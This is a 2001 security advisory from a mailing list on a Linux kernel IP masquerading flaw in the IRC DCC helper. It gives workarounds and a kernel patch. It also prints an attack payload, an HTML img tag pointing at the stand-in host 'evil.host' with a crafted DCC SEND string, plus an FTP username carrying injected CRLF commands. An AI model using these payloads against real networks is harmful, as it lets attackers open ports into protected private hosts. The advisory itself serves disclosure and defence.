Date: Mon, 30 Jul 2001 12:49:51 -0400 (EDT)
From: Michal Zalewski <[email protected]>
To: [email protected]Subject: [RAZOR] Linux kernel IP masquerading vulnerability
RAZOR Advisory
Author:
Michal Zalewski <[email protected]>
Issue Date:
July 30, 2001
Topic:
A remotely exploitable IP masquerading vulnerability in the Linux
kernel can be used to penetrate protected private networks.
Affected Platforms:
Linux 2.0, Linux 2.2, and possibly other systems
Details:
There was a discussion last year that detailed exploiting NAT packet
inspection mechanisms on Linux and other operating systems by forcing
a client's browser or MUA software to send specific data patterns
without the user's knowledge (see
http://www.securityfocus.com/archive/82/50226) in order to open an
inbound TCP port on the firewall. The original advisory by Mikael
Olsson discussed the FTP masquerading helper vulnerability. When found
in outbound traffic, the specific pattern sent by the client software
is interpreted by the firewall as being a legitimate, user-initiated
transfer request. Certain external systems are then temporarily
allowed to initiate inbound connections to the location specified in
the malicious packet by using the firewall as a packet forwarder.
Appropriate (but not necessarily sufficient - see the later
explainations) workarounds were incorporated in Linux kernels released
after the original advisory and are now present in numerous firewall
operating systems.
Unfortunately, protocols other than those mentioned in the original
discussions seem to be vulnerable as well. We found that IRC DCC
helper (the Linux 2.2 ip_masq_irc module, and modules shipped with
some other operating systems / firewalling software) can be exploited
with
<img src="ftp://evil.host:6667/%01DCC%20SEND%20file%20addr%20port">
or another similar pattern, depending on the helper implementation
details ("addr" is the internal machine's IP address as a decimal
integer).
This sequence can be crafted in an HTML e-mail or on a visited
webpage. The attacker should listen on tcp port 6667 on the specified
remote host ("evil.host") and generate valid FTP protocol responses.
The attacker will then receive information about the port number on
the firewall that will be forwarded into the protected network. See
the discussion in the original advisory for more details on this
attack.
Workarounds:
This new NAT server vulnerability related to DCC simply adds to the
collection of similar vulnerabilities found in various other
protocols, none of which have been fixed in any comprehensive way. In
general, the following five types of workarounds might be used:
1) Configure the NAT server to only allow a certain range of ports in
processed requests. This workaround (only ports above 1024 are
allowed) is currently implemented by Linux and other vendors.
Unfortunately, this does not stop attacks or scans against any of the
other thousands of high-port services - among the most significant of
these are NFS, X11, Microsoft SQL Server, various RPC services,
various HTTP proxy/cache services, and various remote
management/diagnostic services.
2) Have the firewall do more careful inspection of protocol traffic.
This could identify and block noncompliant IRC client behavior, such
as the behavior of an HTML e-mail client when accessing an ftp URL.
Unfortunately, this requires very careful protocol tracking, and can
be fooled by careful URL construction (e.g., passing the following
string as the ftp username:
"evilhacker%20+iw%20evilhacker%20evilhacker%0d%0anick%20hacker") and
response fragmentation, or by using a Java applet.
3) Use a personal firewall (e.g., ZoneAlarm) on the internal machine
that asks for user verification before connecting to an unusual port
(6667) or before accepting suspected forwarded connections. Suitable
personal firewalls may not be available for every OS.
4) Research, design, and develop some way for the NAT server to ask
the internal user whether he really requested an inbound port (e.g.,
one-time challenge-response authentication).
5) Don't install helper modules on your NAT server. For any protocol
that needs a helper, require users to deploy a tunnel instead.
Vendor Response/Fix Information:
Below is a patch against Linux 2.2.20pre kernel written by the IP
masquerading subsystem maintainer, Juanjo Ciarlante
<[email protected]>. It is supposed to minimize potential impact
caused by this vulnerability. Note that it does not completely fix the
problem (see discussion above).
Additionally, as suggested by Alexey Kuznetsov <[email protected]>,
it is possible to limit the potential impact by carefully setting
output chain rules (note that forwarding chain is bypassed by IP
current masquerading rules table).
--- linux-2.2.20pre/net/ipv4/ip_masq_irc.c.dist Sun Mar 25 13:31:12 2001
+++ linux-2.2.20pre/net/ipv4/ip_masq_irc.c Fri Jul 27 18:45:29 2001
@@ -38,7 +38,12 @@
* /etc/conf.modules (or /etc/modules.conf depending on your config)
* where modload will pick it up should you use modload to load your
* modules.
- *
+ *
+ * Insecure "back" data channel opening
+ * The helper does some trivial checks when opening a new DCC data
+ * channel. Use module parameter
+ * insecure=1
+ * ... to avoid this and get previous (pre 2.2.20) behaviour.
*/
#include <linux/config.h>
@@ -72,6 +77,9 @@
MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_MASQ_APP_PORTS) "i");
+static int insecure=0;
+MODULE_PARM(insecure, "i");
+
/*
* List of supported DCC protocols
@@ -110,6 +118,29 @@
return 0;
}
+
+/*
+ * Ugly workaround [TM] --mummy ... why does this protocol sucks?
+ *
+ * The <1024 check and same source address just raise the
+ * security "feeling" => they don't prevent a redirector listening
+ * in same src address at a higher port; you should protect
+ * your internal network with ipchains output rules anyway
+ */
+
+static inline int masq_irc_out_check(const struct iphdr *iph, __u32 data_saddr, __u16 data_sport) {
+ int allow=1;
+ /* Compatibility */
+ if (insecure)
+ goto out;
+ /*
+ * Ignore data channel back to other src addr, nor to port < 1024
+ */
+ if (iph->saddr != data_saddr || data_sport < 1024)
+ allow=0;
+out:
+ return allow;
+}
int
masq_irc_out (struct ip_masq_app *mapp, struct ip_masq *ms, struct sk_buff **skb_p, __u32 maddr)
{
@@ -198,6 +229,11 @@
s_port = simple_strtoul(data,&data,10);
addr_end_p = data;
+
+ /* Simple validation */
+ if (!masq_irc_out_check(iph, s_addr, s_port))
+ /* We may just: return 0; */
+ continue;
/* Do we already have a port open for this client?
* If so, use it (for DCC ACCEPT)
